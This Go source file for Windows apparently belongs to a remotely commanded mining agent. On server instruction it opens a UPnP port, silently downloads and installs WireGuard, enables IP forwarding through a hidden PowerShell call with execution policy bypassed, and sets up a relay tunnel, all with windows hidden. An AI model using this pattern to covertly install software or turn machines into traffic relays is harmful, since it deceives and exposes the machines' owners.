//go:build windows

package client

import (
	"crypto/rand"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"syscall"

	"crypto-miner-agent/deploy"

	"golang.org/x/crypto/curve25519"
)

const wgUDPPort = 51820

// WGSetupResult is returned to the server after wg_setup.
type WGSetupResult struct {
	PublicKey    string `json:"public_key"`
	ExternalIP   string `json:"external_ip"`
	ExternalPort int    `json:"external_port"`
	UPnPOK       bool   `json:"upnp_ok"`
	Error        string `json:"error,omitempty"`
}

// WGPeerEntry is one peer entry inside WGConfigPayload.
type WGPeerEntry struct {
	PublicKey           string `json:"public_key"`
	Endpoint            string `json:"endpoint"` // "ip:port"
	AllowedIPs          string `json:"allowed_ips"`
	PersistentKeepalive int    `json:"persistent_keepalive"`
}

// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel.
type WGConfigPayload struct {
	SessionID         string        `json:"session_id"`
	PrivateKey        string        `json:"private_key"`
	LocalAddress      string        `json:"local_address"` // e.g. "10.66.0.2/24"
	ListenPort        int           `json:"listen_port"`
	Peers             []WGPeerEntry `json:"peers"`
	EnableIPForwarding bool         `json:"enable_ip_forwarding"`
}

// wgState holds active tunnel state so teardown knows what to clean up.
var wgState struct {
	sessionID  string
	configPath string
	tunnelName string
}

// WGSetup generates a keypair, tries UPnP, and returns setup info to the server.
func WGSetup() WGSetupResult {
	priv, pub, err := generateWGKeyPair()
	if err != nil {
		return WGSetupResult{Error: "keypair gen failed: " + err.Error()}
	}

	// Persist private key for when wg_configure arrives.
	_ = os.MkdirAll(wgWorkDir(), 0700)
	_ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600)

	res := WGSetupResult{
		PublicKey:    pub,
		ExternalPort: wgUDPPort,
	}

	// Try UPnP — open UDP 51820.
	r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG")
	if err == nil && r.Success {
		res.ExternalIP = r.ExternalIP
		res.UPnPOK = true
		log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort)
	} else {
		// Fall back to the IP the server sees on the WebSocket connection.
		res.UPnPOK = false
		log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err)
	}

	return res
}

// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service.
func WGConfigure(payload WGConfigPayload) error {
	privKey := payload.PrivateKey
	if privKey == "" {
		// Use the key we generated in WGSetup.
		raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key"))
		if err != nil {
			return fmt.Errorf("private key not found: %w", err)
		}
		privKey = strings.TrimSpace(string(raw))
	}

	conf := buildWGConfig(privKey, payload)
	tunnelName := "PathTracer-" + payload.SessionID[:8]
	confPath := filepath.Join(wgWorkDir(), tunnelName+".conf")

	if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil {
		return fmt.Errorf("write config: %w", err)
	}

	// Enable IP forwarding so this node can relay traffic.
	if payload.EnableIPForwarding {
		_ = enableIPForwarding()
	}

	// Install and start the WireGuard service.
	wgExe, err := ensureWGExe()
	if err != nil {
		return fmt.Errorf("wireguard not available: %w", err)
	}

	// Remove any stale service first (ignore errors).
	_ = runHidden(wgExe, "/uninstallservice", tunnelName)

	if err := runHidden(wgExe, "/installservice", confPath); err != nil {
		return fmt.Errorf("wg installservice: %w", err)
	}

	wgState.sessionID = payload.SessionID
	wgState.configPath = confPath
	wgState.tunnelName = tunnelName
	log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName)
	return nil
}

// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP.
func WGTeardown() {
	if wgState.tunnelName != "" {
		wgExe, err := ensureWGExe()
		if err == nil {
			_ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName)
		}
		_ = os.Remove(wgState.configPath)
		wgState = struct {
			sessionID  string
			configPath string
			tunnelName string
		}{}
	}
	_, _ = deploy.CloseUPnP(wgUDPPort)
	log.Printf("[pathtracer] WireGuard tunnel torn down")
}

// WGIsActive reports whether a Path Tracer WireGuard tunnel is running.
func WGIsActive() bool {
	return wgState.tunnelName != ""
}

// WGStatus returns the number of active WireGuard peers.
func WGStatus() string {
	if wgState.tunnelName == "" {
		return "no active tunnel"
	}
	wgExe, err := ensureWGExe()
	if err != nil {
		return "tunnel active (wg.exe unavailable)"
	}
	cmd := exec.Command(wgExe, "show", wgState.tunnelName)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
	out, _ := cmd.CombinedOutput()
	return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out))
}

// ── helpers ──────────────────────────────────────────────────────────────────

func generateWGKeyPair() (privateB64, publicB64 string, err error) {
	var priv [32]byte
	if _, err = rand.Read(priv[:]); err != nil {
		return
	}
	// WireGuard Curve25519 key clamping.
	priv[0] &= 248
	priv[31] &= 127
	priv[31] |= 64

	var pub [32]byte
	curve25519.ScalarBaseMult(&pub, &priv)

	privateB64 = base64.StdEncoding.EncodeToString(priv[:])
	publicB64 = base64.StdEncoding.EncodeToString(pub[:])
	return
}

func buildWGConfig(privKey string, p WGConfigPayload) string {
	port := p.ListenPort
	if port == 0 {
		port = wgUDPPort
	}
	var sb strings.Builder
	sb.WriteString("[Interface]\n")
	fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey)
	fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress)
	fmt.Fprintf(&sb, "ListenPort = %d\n", port)
	sb.WriteString("DNS = 1.1.1.1\n\n")
	for _, peer := range p.Peers {
		sb.WriteString("[Peer]\n")
		fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey)
		if peer.Endpoint != "" {
			fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint)
		}
		ai := peer.AllowedIPs
		if ai == "" {
			ai = "0.0.0.0/0"
		}
		fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai)
		ka := peer.PersistentKeepalive
		if ka == 0 {
			ka = 25
		}
		sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka))
	}
	return sb.String()
}

func wgWorkDir() string {
	base := os.Getenv("LOCALAPPDATA")
	if base == "" {
		base = os.TempDir()
	}
	return filepath.Join(base, "PathTracer")
}

// ensureWGExe returns the path to wireguard.exe, downloading if needed.
func ensureWGExe() (string, error) {
	candidates := []string{
		`C:\Program Files\WireGuard\wireguard.exe`,
		`C:\Program Files (x86)\WireGuard\wireguard.exe`,
		filepath.Join(wgWorkDir(), "wireguard.exe"),
	}
	for _, p := range candidates {
		if _, err := os.Stat(p); err == nil {
			return p, nil
		}
	}
	return downloadWireGuard()
}

func downloadWireGuard() (string, error) {
	const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe"
	installDir := wgWorkDir()
	_ = os.MkdirAll(installDir, 0755)
	installerPath := filepath.Join(installDir, "wireguard-installer.exe")

	resp, err := http.Get(dlURL)
	if err != nil {
		return "", fmt.Errorf("download wireguard: %w", err)
	}
	defer resp.Body.Close()
	data := make([]byte, 0, 8*1024*1024)
	buf := make([]byte, 32*1024)
	for {
		n, rerr := resp.Body.Read(buf)
		if n > 0 {
			data = append(data, buf[:n]...)
		}
		if rerr != nil {
			break
		}
	}
	if err := os.WriteFile(installerPath, data, 0755); err != nil {
		return "", fmt.Errorf("write installer: %w", err)
	}

	// Install silently.
	if err := runHidden(installerPath, "/S"); err != nil {
		return "", fmt.Errorf("wireguard install: %w", err)
	}

	wgExe := `C:\Program Files\WireGuard\wireguard.exe`
	if _, err := os.Stat(wgExe); err != nil {
		return "", fmt.Errorf("wireguard.exe not found after install")
	}
	return wgExe, nil
}

func enableIPForwarding() error {
	script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue`
	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
		"-WindowStyle", "Hidden", "-Command", script)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
	return cmd.Run()
}

func runHidden(name string, args ...string) error {
	cmd := exec.Command(name, args...)
	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
	return cmd.Run()
}

// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result.
func WGSetupJSON() string {
	res := WGSetup()
	b, _ := json.Marshal(res)
	return string(b)
}
